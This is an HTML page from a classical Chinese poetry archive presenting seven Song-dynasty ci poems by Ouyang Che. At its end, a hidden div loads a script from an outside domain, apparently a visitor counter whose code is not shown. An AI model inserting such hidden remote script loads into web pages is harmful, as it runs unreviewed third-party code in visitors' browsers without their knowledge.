<html>
<head>
<title>古诗库：全宋词：欧阳澈</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="style.css"></head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
 <p align="center">欧阳澈<p align="center">踏莎行</p>
<ul>
    雁字书空，橘星垂槛。江天水墨秋光晚。香丝袅袅祝尧年，公庭锡宴挥金碗。
<p>
    醉索蛮笺，狂吟象管。珠玑灿灿惊人眼。遏云更倩雪儿歌，从教拍碎红牙板。
<p>
</ul>
<p align="center">蝶恋花（拉朝宗小饮）</p>
<ul>
    红叶飘风秋欲暮。送目层楼，帘卷西山雨。解榻聚宾挥玉尘。风流只欠王夷甫。
<p>
    质剑为公沽绿醑。涤濯吟魂，拟摘黄花句。醉眼瞢腾携手处。谢池风月谁分付。
<p>
</ul>
<p align="center">玉楼春</p>
<ul>
    个人风韵天然俏。入鬓秋波常似笑。一弯月样黛眉低，四寸鞋儿莲步小。
<p>
    绝缨尝宴琼楼杪。软语清歌无限妙。归时桂影射帘旌，沈水烟消深院悄。
<p>
</ul>
<p align="center">玉楼春</p>
<ul>
    年时醉倚温温玉。妒月精神疑可掬。香丝篆袅一帘秋，潋滟十分浮蚁绿。
<p>
    兴来笑把朱弦促。切切含情声断续。曲中依约断人肠，除却梨园无此曲。
<p>
</ul>
<p align="center">踏莎行</p>
<ul>
    罗幕风轻，水沈烟细。杯行笑拥东山妓。酬歌何惜锦缠头，清音暗绕梁尘起。
<p>
    银甲弹筝，碧桃荐味。举觞飞白拚沈醉。花窗弄月晚归来，门迎蜡炬笙箫沸。
<p>
</ul>
<p align="center">小重山</p>
<ul>
    红叶伤心月午楼。袭人风细细，远烟浮。瞢腾醉眼不禁秋。追旧事，拍塞一怀愁。
<p>
    心绪两悠悠。东阳消瘦损，甚风流。拟凭仙枕梦中游。无眠久，通夕数更筹。
<p>
</ul>
<p align="center">虞美人</p>
<ul>
    玉楼缥缈孤烟际。徒倚愁如醉。雁来人远暗消魂。帘卷一钩新月、怯黄昏。
<p>
    那人音信全无个。幽恨谁凭破。扑花蝴蝶若知人。为我一场清梦、去相亲。
<p>
</ul>
                <div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
